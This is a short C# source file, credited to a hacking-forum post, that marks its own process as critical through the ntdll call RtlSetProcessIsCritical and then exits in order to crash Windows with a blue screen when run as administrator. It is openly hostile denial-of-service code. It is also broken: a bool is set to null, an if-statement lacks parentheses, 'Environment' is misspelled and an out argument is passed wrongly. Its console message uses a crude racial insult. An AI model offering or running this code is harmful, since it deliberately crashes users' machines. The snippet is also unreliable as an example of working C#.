RtelSetProcessIsCritical.cs

// BSOD Via RtelSetProcessIsCritical by Souhardya Sardar @subversionzero
// https://www.opensc.io/showthread.php?t=12868&page=2

using System;
using System.Runtime.InteropServices;


namespace Die
{
    class Program 
    {
        
        public bool IsAdmin() // detect admin rights :3
        {
            return (new WindowsPrincipal(WindowsIdentity.GetCurrent()))
                    .IsInRole(WindowsBuiltInRole.Administrator);
        }
        
        [DllImport("ntdll.dll", CharSet = CharSet.Unicode)]
        
        public static extern int RtlSetProcessIsCritical(bool bNew, out bool pbOld, bool bNeedScb);
        
        static void Main(string[] args)
        {
            bool pb0ld = null;
            object lol = pb0ld;
            
            if IsAdmin()
            {
                RtlSetProcessIsCritical(true, pb0ld, false); // Set process as critical 
                Enviornment.Exit(0); // and p00f xD 
            }

            else 
            {
                Console.Write("Run as admin niBBa"); 
            }
        }
    }
}